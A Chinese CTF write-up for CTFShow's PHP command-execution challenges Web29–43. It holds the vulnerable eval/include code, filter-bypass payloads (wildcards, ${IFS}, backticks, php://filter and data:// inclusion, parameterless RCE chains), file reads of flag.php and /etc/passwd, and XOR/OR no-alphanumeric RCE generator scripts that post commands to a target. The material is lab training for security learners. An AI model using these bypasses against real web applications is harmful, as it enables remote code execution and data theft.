CTFShow-命令执行
Web29:
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了文件关键词,通配符绕过,cat f*,用system执行,发现没有成功读取,考虑使用tac倒序读取,得到flag。
总结,文件关键词过滤可以考虑使用通配符绕过。
Web30:
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了system,并且用的屎eval函数。
这里先试试反斜杠绕过,似乎无法绕过。
那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接echo `tac fl*`;读取flag。
Web31:
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过system,cat被过滤就tac读取,空格用%0a或者%09绕过。
前置知识:
空格过滤:
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
cat过滤:
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
Web32:
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了system和反引号还有echo,这里看似挺严格的,但是print_r或者var_dump没有过滤,应该可以利用下,但是,system被过滤了,只有无回显RCE了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:
<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>
可以配合文件包含来打伪协议,具体payload类似下面这样:
include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web33:
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web34:
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
多过滤了一个冒号,方法同上:
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
这里解释一下,这里出现冒号依旧绕过了的原因是因为PHP把前面的include到?>的认为成一个get传参,另一个,也就是&url被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。
Web35:
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤>,所以依旧能用上面的payload打:
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web36:
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web37:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
文件包含过滤了flag,这个时候可以考虑include一个data伪协议输入的命令参数,具体如下:
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
第一:使用通配符绕过flag:
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>
第二:使用base64绕过flag:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
#base64解码为
<?php system('cat flag.php');?>
Web38:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}
}else{highlight_file(__FILE__);
}
相较于上一个题多过滤了一层php,使用base64绕过就行:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或者,使用短标签绕过:
?c=data://text/plain,<?= system("tac fla?.???");?>
Web39:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}
过滤了flag,但是文件包含里存在.php的后缀,好像无伤大雅,和上一题一样,短标签打。
/?c=data://text/plain,<?= system("tac fla?.???");?>
由于两端合在一起就类似于<?= system('tac fla*');?>.php
,.php因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行RCE。
Web40:
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数RCE,可以一把梭:
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
前置知识:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
或者使用:
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
Web41:
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
无字母数字RCE,并且因为过滤了$、+、-、^、~所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是| 运算符,这里贴一下相关的文章:
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
ctfshow web入门 web41
这里给了两个代码:
<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
还有python的:
# -*- coding: utf-8 -*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
另一个,贴一下羽神的脚本,这个感觉更好用。
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0)
url=argv[1]
def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)
Web42:
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
对于这里的,可以参考下下面这篇文章: Shell脚本———— /dev/null 2>&1详解
这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
Web43:
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
对比上一题,多了一层过滤,多了一个cat和分号,老样子,同一个payload:
?c=tac fla* ||
再一次,贴一下可以绕过的方式:
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||